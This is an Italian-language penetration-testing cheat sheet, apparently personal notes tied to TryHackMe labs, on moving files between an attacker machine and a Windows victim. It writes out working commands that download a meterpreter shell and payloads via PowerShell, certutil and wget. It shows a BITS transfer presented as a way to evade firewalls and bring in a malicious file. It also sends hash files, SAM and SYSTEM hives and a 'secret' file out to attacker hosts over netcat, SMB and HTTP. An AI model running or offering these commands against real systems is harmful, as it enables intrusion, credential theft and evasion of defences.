tags: condivisione_file powershell


Questo comando serve a passare file da una macchina attaccante ad una macchina vittima con powershell (per capire come creare una shell powershell da una semplice cmd vai a questa pagina Netcat):

Caricare file su Windows

Powershell

 
#Macchina attaccante
sudo python3 -m http.server 80
 
#Macchina Vittima
powershell -c "Invoke-WebRequest -Uri 'http://10.14.83.140/meterpreter_shell.exe' -OutFile 'C:\Windows\Temp\meterpreter_shell.exe'"
 
#Oppure
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<TUO_IP_LINUX>/nomefile_da_copiare', 'C:\\Users\\Public\\nomefile_da_copiare')"
 
#O anche
 
iwr -Uri http://<TUO_IP_LINUX>/nomefile_da_copiare -OutFile C:\Users\Public\nomefile_da_copiare
 

Wget:

powershell -c wget http://10.14.83.140:8080/winPEASx64.exe -outfile winpeas.exe

Ncat:

 
#Questo è il comando da lanciare sulla macchina che contiene il file
 
ncat.exe -w 3 10.10.1.13 9999 < hash.txt
 
#Questo è il comando da utilizzare dalla macchina Linux che deve ricevere
 
nc -lvp 9999 > hash.txt
 

Certutil

 
sudo python3 -m http.server 80
 
certutil.exe -urlcache -split -f http://indirizzo_malevolo/payload.exe C:\Windows\Temp\payload.exe

Evasione Firewall tramite BITS

Quando siamo riusciti ad ottenere accesso alla macchina e vogliamo trasferire un file malevolo nella macchina vittima, ma un firewall ci impedisce di trasferirlo con i metodi standard possiamo utilizzare la componente BITS presente in Windows che permette di trasferire file con qualche riga di comando da e verso web server senza essere controllato dai vari sistemi di difesa proprio perchè viene considerato un traffico legittimo, ovviamente quello che possiamo copiare e dove lo possiamo copiare dipenderà dai privilegi che abbiamo ottenuto nella compromissione della macchina, per fare questa operazione eseguiamo i seguenti passaggi:

Cose da fare nella macchina attaccante

  • Digita mkdir /var/www/html/share e premi Invio per creare una cartella condivisa

  • Digita chmod -R 755 /var/www/html/share e premi Invio

  • Digita chown -R www-data:www-data /var/www/html/share e premi Invio

  • Copia il file malevolo nella posizione condivisa digitando cp Exploit.exe /var/www/html/share e premendo Invio

  • Lancia il comando service apache2 start

Cose da fare nella macchina vittima

  • Apri powershell

  • Inserisci questo comando bitsadmin /transfer Exploit.exe http://10.10.1.13/share/Exploit.exe c:\Exploit.exe

Scaricare file da Windows

SMB

Possiamo crearci un server SMB sulla nostra macchina attaccante tramite uno script Impacket nel seguente modo:

# Importantissimo creare la cartella altrimenti non saprà dove copiarla
mkdir share
 
python3 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

Nella macchina vittima andremo a copiarci i file nel seguente modo:

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ 
 
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

Python

Su Windows tramite Powershell:

sudo python3 -m http.server 8000

Se quello di sopra non funziona prova con:

# Per Python 3.x, se installato
python -m http.server 8000
 
# Se Python non c'è, puoi usare questo script PowerShell più complesso
$config = @{
    'IpAddress' = '0.0.0.0';
    'Port'      = 8000;
}
$server = New-Object System.Net.HttpListener
$server.Prefixes.Add("http://$(($config.IpAddress)):$(($config.Port))/")
$server.Start()
while ($server.IsListening) {
    $context = $server.GetContext()
    # Logica per servire i file... (questo è un esempio base)
}

Su linux tramite wget:

wget http://<IP_WINDOWS>:8000/segreto.dat

Powershell

Da Linux ci mettiamo in ascolto con nc:

nc -lvnp 8000 > file_ricevuto.dat

Da Windows lanciamo questo comando:

$filePath = "C:\percorso\del\file\segreto.dat"; $client = New-Object System.Net.WebClient; $client.UploadFile("http://<TUO_IP_LINUX>:8000/file.dat", "POST", $filePath)

Altre tecniche per trasferire file evadendo i firewall